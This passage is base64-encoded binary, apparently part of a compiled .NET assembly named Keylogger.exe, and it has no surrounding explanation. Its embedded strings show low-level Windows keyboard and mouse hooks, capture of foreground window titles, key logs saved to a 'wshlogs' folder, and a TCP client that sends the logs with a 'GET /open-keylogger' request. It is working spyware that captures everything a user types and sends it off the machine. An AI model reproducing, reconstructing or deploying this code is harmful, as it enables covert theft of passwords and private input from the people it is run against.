ABAMAEAAABAOMEAAABAOMEAAABAGwEAAACAE8EAAADAHIEAAABAOMEAAABAOMEAAABAGwEAAACAE8EAAADAHIEAAABAJkFAAACAKYFAAABAGwEAAACAE8EAAADAHIEAAAEANoFAAAFAOsFAAABAAgGAAABAGwEAAACAE8EAAADAHIEAAABAJkFAAACAKYFAAABAGwEAAACAE8EAAADAHIEAAAEANoFAAAFAOsFAAABAAgGAAABAGwEAAACAE8EAAADAHIEAAABAJkFAAACAKYFAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAAFANoFAAAGAOsFAAABAJMHAAACAAgGAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAABAJkFAAACAKYFAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAAFANoFAAAGAOsFAAABAJMHAAACAAgGAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAABAIsIAAABAL8IAAABAEAJAAABAEAJAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAABAGwEAAACAE8EAAADAHIEAAAEAJMHAAABABgSAAABAD8KAAABAD8KAAABAD8KAAABAD8KAAABAD8KAAABAD8KAAABAD8KAAABADoMAAABAFQMAAABAGkMAAABAIIMAAACAIgMAAADAJEMAAABAL0MAAACAMYMAAADANAMAiAEANsMAAAFAOIMAAAGAOoMAAAHAJEMAAABAP4MAAACAAANAAABAEINAAACAEcNAAABAGMNAiACAGgNAAADAHENAAABAEINAAABAFcIAAABAJ8NAAACAKENAAABAEINCQDWARMAwQDWAfUC0QDWAQQD2QDWARMAEQDWARMA4QDWARMANADWARMAPADWARMARADWARMATADWARMAVADWARMANACjA6EAPACjA6EARACjA6EATACjA6EAVACjA6EA6QDWARMA8QDWARMA+QDWAV4DCQEbD7cDOQA8D7sDMQBOD4wAIQFnD8MDKQHWAV4DMQDWARMAMQCTD8oDMQGhD9ADOQHGD9sDQQHWD+IDQQHpD5oAKQHWAegDOQH1DxcAMQAHEPADSQEYEBMAGQDWARMAUQFPEAgEGQB4A4wAGQCBA5EAGQCaA5oAWQHWAR4EYQHWARMAXACzA6YAaQHWAfkEcQHWARMAZA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VzAE15U2V0dGluZ3MATXlTZXR0aW5nc1Byb3BlcnR5AFdpbjMyQVBJAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAENvbnNvbGVBcHBsaWNhdGlvbkJhc2UALmN0b3IATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMAQ29tcHV0ZXIAU3lzdGVtAE9iamVjdAAuY2N0b3IAZ2V0X0NvbXB1dGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBnZXRfQXBwbGljYXRpb24AbV9BcHBPYmplY3RQcm92aWRlcgBVc2VyAGdldF9Vc2VyAG1fVXNlck9iamVjdFByb3ZpZGVyAGdldF9Gb3JtcwBtX015Rm9ybXNPYmplY3RQcm92aWRlcgBnZXRfV2ViU2VydmljZXMAbV9NeVdlYlNlcnZpY2VzT2JqZWN0UHJvdmlkZXIAQXBwbGljYXRpb24ARm9ybXMAV2ViU2VydmljZXMAQ3JlYXRlX19JbnN0YW5jZV9fAFN5c3RlbS5XaW5kb3dzLkZvcm1zAEZvcm0AVABJbnN0YW5jZQBEaXNwb3NlX19JbnN0YW5jZV9fAGluc3RhbmNlAFN5c3RlbS5Db2xsZWN0aW9ucwBIYXNodGFibGUAbV9Gb3JtQmVpbmdDcmVhdGVkAEVxdWFscwBvAEdldEhhc2hDb2RlAFR5cGUAR2V0VHlwZQBUb1N0cmluZwBnZXRfR2V0SW5zdGFuY2UAbV9UaHJlYWRTdGF0aWNWYWx1ZQBHZXRJbnN0YW5jZQBfX0VOQ0FkZFRvTGlzdAB2YWx1ZQBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBMaXN0YDEAV2Vha1JlZmVyZW5jZQBfX0VOQ0xpc3QARGVsZWdhdGUAU2V0V2luZG93c0hvb2tFeABIb29rUHJvYwBoSW5zdGFuY2UAd1BhcmFtAENhbGxOZXh0SG9va0V4AGlkSG9vawBuQ29kZQBsUGFyYW0AVW5ob29rV2luZG93c0hvb2tFeABEaWN0aW9uYXJ5YDIAaEhvb2tzAEtleWJvYXJkaG9va3Byb2MATW91c2Vob29rcHJvYwBob29rVHlwZQBVbkhvb2sAYWRkX0tleWJvYXJkQ2hhbmdlAG9iagBLZXlib2FyZENoYW5nZUV2ZW50AHJlbW92ZV9LZXlib2FyZENoYW5nZQBMb3dMZXZlbEtleWJvYXJkUHJvYwBhZGRfTW91c2VDaGFuZ2UATW91c2VDaGFuZ2VFdmVudAByZW1vdmVfTW91c2VDaGFuZ2UATG93TGV2ZWxNb3VzZVByb2MAS2V5Ym9hcmRDaGFuZ2UATW91c2VDaGFuZ2UATXVsdGljYXN0RGVsZWdhdGUAVGFyZ2V0T2JqZWN0AFRhcmdldE1ldGhvZABJQXN5bmNSZXN1bHQAQXN5bmNDYWxsYmFjawBCZWdpbkludm9rZQBEZWxlZ2F0ZUNhbGxiYWNrAERlbGVnYXRlQXN5bmNTdGF0ZQBFbmRJbnZva2UARGVsZWdhdGVBc3luY1Jlc3VsdABJbnZva2UARW51bQB2YWx1ZV9fAFdIX0pPVVJOQUxSRUNPUkQAV0hfSk9VUk5BTFBMQVlCQUNLAFdIX0tFWUJPQVJEAFdIX0dFVE1FU1NBR0UAV0hfQ0FMTFdORFBST0MAV0hfQ0JUAFdIX1NZU01TR0ZJTFRFUgBXSF9NT1VTRQBXSF9IQVJEV0FSRQBXSF9ERUJVRwBXSF9TSEVMTABXSF9GT1JFR1JPVU5ESURMRQBXSF9DQUxMV05EUFJPQ1JFVABXSF9LRVlCT0FSRF9MTABXSF9NT1VTRV9MTABXTV9LRVlET1dOAFdNX0tFWVVQAFdNX1NZU0tFWURPV04AV01fU1lTS0VZVVAATExLSEZfRVhURU5ERUQATExLSEZfSU5KRUNURUQATExLSEZfQUxURE9XTgBMTEtIRl9VUABWYWx1ZVR5cGUAS2V5cwB2a0NvZGUAc2NhbkNvZGUAZmxhZ3MAdGltZQBkd0V4dHJhSW5mbwBjYW5jZWwAV01fTU9VU0VNT1ZFAFdNX0xCVVRUT05ET1dOAFdNX0xCVVRUT05VUABXTV9SQlVUVE9ORE9XTgBXTV9SQlVUVE9OVVAAV01fTU9VU0VXSEVFTFVQAFdNX01PVVNFV0hFRUxET1dOAFdNX01PVVNFV0hFRUwAV01fTU9VU0VXSEVFTE1PVkVVUABXTV9NT1VTRVdIRUVMTU9WRURPV04AV01fTU9VU0VIV0hFRUwAU3lzdGVtLkRyYXdpbmcAUG9pbnQAcHQAbW91c2VEYXRhAF9XaW5Ib29rAGdldF9XaW5Ib29rAHNldF9XaW5Ib29rAFdpdGhFdmVudHNWYWx1ZQBTeXN0ZW0uTmV0LlNvY2tldHMAVGNwQ2xpZW50AHNvY2tldABhcmdzAGlzX29mZmxpbmUAbG9nZmlsZQBtYWluAFJ1bktleWxvZ2dlck9mZmxpbmUAU29ja2V0Q2xvc2VkAExhc3RDaGVja2VkRm9yZWdyb3VuZFRpdGxlAG9uU3RhcnRLZXlib2FyZFNlc3Npb25DbGlja3MAc2F2ZUtleUxvZwBsb2cAc2VuZEtleUxvZwBXaW5Ib29rX0tleWJvYXJkQ2hhbmdlAG9uU3RhcnRNb3VzZVNlc3Npb25Nb3ZlcwBvblN0YXJ0TW91c2VTZXNzaW9uQ2xpY2tzAFdpbkhvb2tfTW91c2VDaGFuZ2UAV2luSG9vawBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBWYWx1ZQBDdWx0dXJlAFN5c3RlbS5Db25maWd1cmF0aW9uAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAGRlZmF1bHRJbnN0YW5jZQBnZXRfRGVmYXVsdABnZXRfU2Vzc2lvbktleWJvYXJkQ2xpY2sAc2V0X1Nlc3Npb25LZXlib2FyZENsaWNrAGdldF9TZXNzaW9uTW91c2VNb3ZlcwBzZXRfU2Vzc2lvbk1vdXNlTW92ZXMAZ2V0X1Nlc3Npb25Nb3VzZUNsaWNrAHNldF9TZXNzaW9uTW91c2VDbGljawBnZXRfVG90YWxLZXlib2FyZENsaWNrAHNldF9Ub3RhbEtleWJvYXJkQ2xpY2sAZ2V0X1RvdGFsTW91c2VNb3ZlcwBzZXRfVG90YWxNb3VzZU1vdmVzAGdldF9Ub3RhbE1vdXNlQ2xpY2sAc2V0X1RvdGFsTW91c2VDbGljawBEZWZhdWx0AFNlc3Npb25LZXlib2FyZENsaWNrAFNlc3Npb25Nb3VzZU1vdmVzAFNlc3Npb25Nb3VzZUNsaWNrAFRvdGFsS2V5Ym9hcmRDbGljawBUb3RhbE1vdXNlTW92ZXMAVG90YWxNb3VzZUNsaWNrAGdldF9TZXR0aW5ncwBTZXR0aW5ncwBHZXRLZXlib2FyZExheW91dABkd0xheW91dABHZXRLZXlib2FyZFN0YXRlAGtleVN0YXRlAEdldEtleVN0YXRlAG5WaXJ0S2V5AE1hcFZpcnR1YWxLZXlFeAB1Q29kZQBuTWFwVHlwZQBkd2hrbABTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAFRvVW5pY29kZUV4AHdWaXJ0S2V5AHdTY2FuQ29kZQBscEtleVN0YXRlAGxwQ2hhcgBjY2hCdWZmAHdGbGFncwBTZXRDdXJzb3JQb3MAWABZAEdldERvdWJsZUNsaWNrVGltZQBHZXRGb3JlZ3JvdW5kV2luZG93AEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZABod25kAGxwZHdQcm9jZXNzSWQAR2V0V2luZG93VGV4dABoV25kAGxwU3RyaW5nAG5NYXhDb3VudABHZXRXaW5kb3dUZXh0TGVuZ3RoAFdpbmRvd0Zyb21Qb2ludAB4AHkAU3lzdGVtLkNvbXBvbmVudE1vZGVsAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAFN5c3RlbS5EaWFnbm9zdGljcwBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAFN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24ASGVscEtleXdvcmRBdHRyaWJ1dGUAU3lzdGVtLlJlZmxlY3Rpb24AVGFyZ2V0SW52b2NhdGlvbkV4Y2VwdGlvbgBDb250cm9sAGdldF9Jc0Rpc3Bvc2VkAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAENvbnRhaW5zS2V5AFN0cmluZwBVdGlscwBHZXRSZXNvdXJjZVN0cmluZwBJbnZhbGlkT3BlcmF0aW9uRXhjZXB0aW9uAEFkZABBY3RpdmF0b3IAQ3JlYXRlSW5zdGFuY2UAUHJvamVjdERhdGEARXhjZXB0aW9uAFNldFByb2plY3RFcnJvcgBnZXRfSW5uZXJFeGNlcHRpb24AZ2V0X01lc3NhZ2UAQ2xlYXJQcm9qZWN0RXJyb3IAUmVtb3ZlAENvbXBvbmVudABEaXNwb3NlAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAUnVudGltZUhlbHBlcnMAR2V0T2JqZWN0VmFsdWUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAVGhyZWFkU3RhdGljQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAFN5c3RlbS5UaHJlYWRpbmcATW9uaXRvcgBFbnRlcgBnZXRfQ291bnQAZ2V0X0NhcGFjaXR5AGdldF9JdGVtAGdldF9Jc0FsaXZlAHNldF9JdGVtAFJlbW92ZVJhbmdlAHNldF9DYXBhY2l0eQBFeGl0AEludFB0cgBaZXJvAE5vdEltcGxlbWVudGVkRXhjZXB0aW9uAERlYnVnAFByaW50AEJvb2xlYW4AQ29tYmluZQBNYXJzaGFsAFB0clRvU3RydWN0dXJlAG9wX0V4cGxpY2l0AG9wX0VxdWFsaXR5AERsbEltcG9ydEF0dHJpYnV0ZQBVc2VyMzIuZGxsAEZsYWdzQXR0cmlidXRlAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAF9MYW1iZGEkX18xAGEwAERlYnVnZ2VyU3RlcFRocm91Z2hBdHRyaWJ1dGUAVGhyZWFkAENvbnZlcnNpb25zAFRvSW50ZWdlcgBDb25uZWN0AENvbmNhdABFbmNvZGluZwBnZXRfQVNDSUkAR2V0Qnl0ZXMATmV0d29ya1N0cmVhbQBHZXRTdHJlYW0AV3JpdGUARmx1c2gAVGhyZWFkU3RhcnQAU3RhcnQAU2F2ZQBSdW4ARGF0ZVRpbWUAZ2V0X1N0YXJ0dXBQYXRoAFN5c3RlbS5JTwBEaXJlY3RvcnkARXhpc3RzAERpcmVjdG9yeUluZm8AQ3JlYXRlRGlyZWN0b3J5AGdldF9Ob3cAU3RyZWFtAFJlYWRCeXRlAEZpbGUAQXBwZW5kQWxsVGV4dABQYXJhbWV0ZXJpemVkVGhyZWFkU3RhcnQAQ2xvc2UASW50MzIAVUludDMyAEFkZFRpY2tzAFVJbnQ2NABPcGVyYXRvcnMAQ29tcGFyZVN0cmluZwBCeXRlAFN0cmluZ3MAQXNjVwBLZXlib2FyZABnZXRfS2V5Ym9hcmQAZ2V0X0N0cmxLZXlEb3duAGdldF9BbHRLZXlEb3duAEludGVyYWN0aW9uAElJZgBDb25jYXRlbmF0ZU9iamVjdABnZXRfU2hpZnRLZXlEb3duAGdldF9MZW5ndGgAQ2hyVwBnZXRfWABnZXRfWQBTVEFUaHJlYWRBdHRyaWJ1dGUAQWNjZXNzZWRUaHJvdWdoUHJvcGVydHlBdHRyaWJ1dGUAUmVmZXJlbmNlRXF1YWxzAEFzc2VtYmx5AGdldF9Bc3NlbWJseQBTZXR0aW5nc0Jhc2UAU3luY2hyb25pemVkAERlZmF1bHRTZXR0aW5nVmFsdWVBdHRyaWJ1dGUAVXNlclNjb3BlZFNldHRpbmdBdHRyaWJ1dGUAdXNlcjMyLmRsbAB1c2VyMzIATWFyc2hhbEFzQXR0cmlidXRlAFVubWFuYWdlZFR5cGUAT3V0QXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAS2V5bG9nZ2VyLmV4ZQBLZXlsb2dnZXIuUmVzb3VyY2VzLnJlc291cmNlcwAAAAA5VwBpAG4ARgBvAHIAbQBzAF8AUgBlAGMAdQ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